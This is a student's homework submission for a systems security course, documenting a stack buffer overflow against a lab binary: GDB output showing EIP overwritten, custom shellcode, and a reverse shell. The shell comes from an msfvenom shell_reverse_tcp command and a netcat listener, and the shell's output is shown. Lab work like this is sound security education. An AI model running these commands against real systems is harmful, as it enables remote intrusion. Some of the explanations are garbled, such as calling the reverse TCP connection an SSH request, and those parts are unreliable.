Stack-Based Buffer Overflow Homework
Submission Template

Student Name: Alex Wallace

Course: CSC-3940 Systems Security

Date: 2/17/26

1. Vulnerability Analysis

- Describe how you determined whether the patched binary is still vulnerable.
- Explain how you confirmed control over EIP using the fake payload.
- Include relevant GDB observations and analysis and screenshots fully labeled.

Your Analysis:

The patch was still found to be vulnerable as the buffer size was only increased. Inputted code was still able to overwrite the buffer, and EIP register.

```
gdb-peda$ run "$(cat fake_payload)"
Starting program: /home/ubuntu/bofhw/homework_binary/patched_program "$(cat fake_payload)"
[Thread debugging using libthread_db enabled]
Using host libthread_db library "/lib/x86_64-linux-gnu/libthread_db.so.1".

Program received signal SIGSEGV, Segmentation fault.
Warning: 'set logging off', an alias for the command 'set logging enabled', is deprecated.
Use 'set logging enabled off'.

Warning: 'set logging on', an alias for the command 'set logging enabled', is deprecated.
Use 'set logging enabled on'.

[----------------------------------registers-----------------------------------]
EAX: 0x41414141 ('AAAA')
EBX: 0x41414141 ('AAAA')
ECX: 0x6f ('o')
EDX: 0xffffd23c ('A' <repeats 200 times>...)
ESI: 0xffffd434 --> 0xffffd59d ("/home/ubuntu/bofhw/homework_binary/patched_program")
EDI: 0xf7ffcb80 --> 0x0
EBP: 0x42424242 ('BBBB')
ESP: 0xffffd350 --> 0xffffd500 --> 0x0
EIP: 0x43434343 ('CCCC')
EFLAGS: 0x10286 (carry PARITY adjust zero SIGN trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
Invalid $PC address: 0x43434343
[------------------------------------stack-------------------------------------]
0000| 0xffffd350 --> 0xffffd500 --> 0x0
0004| 0xffffd354 --> 0xf7fbe66c --> 0xf7ffdba0 --> 0xf7fbe780 --> 0xf7ffda40 --> 0x0
0008| 0xffffd358 --> 0xf7fbeb10 --> 0xf7d96cc6 ("GLIBC_PRIVATE")
0012| 0xffffd35c --> 0x804924b (<main+20>:      add    ebx,0x2db5)
0016| 0xffffd360 --> 0xffffd380 --> 0x2
0020| 0xffffd364 --> 0xf7fa2000 --> 0x225dac
0024| 0xffffd368 --> 0xf7ffd020 --> 0xf7ffda40 --> 0x0
0028| 0xffffd36c --> 0xf7d9d519 (add    esp,0x10)
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value
Stopped reason: SIGSEGV
0x43434343 in ?? ()
```

I confirmed the fake payload worked by running it in gdb and locating the tip value being 43. This output confirms that EIP had been overwritten by "CCCC". Along with CCCC, the buffer had been overwritten with AAAA until ebp which was overwritten by BBBB.

2. Custom Shellcode Exploit

- Describe how you modified exploit.py.

- I modified exploit.py by adjusting the ebp and password buffer addresses, along with the updated size of the buffer. This allowed the exploit to continue to work even with the patched buffer size.
  - Explain how your custom shellcode works.

- I kept most of the same shellcode, however modified the message length along with the actual message to print "HACKED BY ALEX!!!".
  - Include screenshots demonstrating successful execution.

Your Explanation and screenshots below:
The screenshot below demonstrates successful attack of the patched program which allowed me to output my own custom message.

```
ubuntu@ubuntu:~/bofhw/homework_binary$ ./patched_program "$(cat real_payload)"
HACKED BY ALEX!!!ubuntu@ubuntu:~/bofhw/homework_binary$
```

3. Reverse Shell Demonstration

- Explain how you configured the listener on Kali.
  - Explain how the exploit triggered a reverse shell from Ubuntu.
  - Provide evidence of command execution from Kali using screenshots.

```
ubuntu@ubuntu:~/bofhw/homework_binary$ python3 "kali.py" --real
[+] Buffer address:      0xffffd13c
[+] Saved EBP address:   0xffffd248
[+] Padding to EBP:      268
[+] Jump target (EIP):   0xffffd43c
[+] Shellcode length:    95
[+] Payload length:      2371
[+] Real payload created
ubuntu@ubuntu:~/bofhw/homework_binary$ ./patched_program "$(cat real_payload)"
```

```
┌──(kali㉿kali)-[~]
└─$ nc -lnvp 87 -s 10.16.103.59
listening on [10.16.103.59] 87 ...
connect to [10.16.103.59] from (UNKNOWN) [10.16.103.134] 49538
ls
README.txt
alex.py
ex.py
fake_payload
input.txt
kali.py
patched_program
peda-session-patched_program.txt
real_payload
test_shellcode
test_shellcode.c
```

In these screenshots it shows a successful reverse TCP attack using a payload on the ubuntu system. The listener was set up on kali using the nc -lnvp 87 -s 10.16.103.59 command. This means, using netcat, activate listener mode with no dns ip only. V means to have netcat tell us everything that is happening from the listener and p signifies which port is used, which in this case is 87. -s Is representative of the lost host's ip address.

- To trigger this connection to the listener on the Ubuntu machine, msfvenom was used to generate a c shellcode file that will send out a ssh request to the kali machine. This msfvenom command used was "msfvenom -p linux/x86/shell_reverse_tcp lhost=10.16.103.59 lport=87 —format c —arch x86 —platform linux —bad_chars "\x00\x09\x0a\x20" —out shellcode" which was used to create a shellcode file in C code format using the kali linux file shell_reverse_tcp which is a command provided by kali linux to generate shellcode to activate the reverse tcp in the ubuntu machine. Replacing the exploit.py shellcode with the newly generate shellcode allows the payload to successfully work and connect to the listening machine on kali.

Your Explanation below:

4. Why the Patch Failed

- Identify what the developer changed.
- The developer changed the actual password buffer size to increase it, hoping that it would prevent anymore buffer overflow attacks. However, with no measures against the message length the buffer could still be affect.
  - Explain why the change did not eliminate the vulnerability.

- Since there wasn't any measures against the input size, even with an increased buffer it could still be overflowed, overwriting code in the registers and ultimately is still vulnerable to different bot attacks.

Your Explanation:

5. Proper Remediation Strategy

- Explain how the program should be correctly patched.
- The program should have a few lines to find the length of the inputted message, and if it's larger than the actual buffer size, will reject the message and ask the user to input a correctly sized message.

Your Explanation: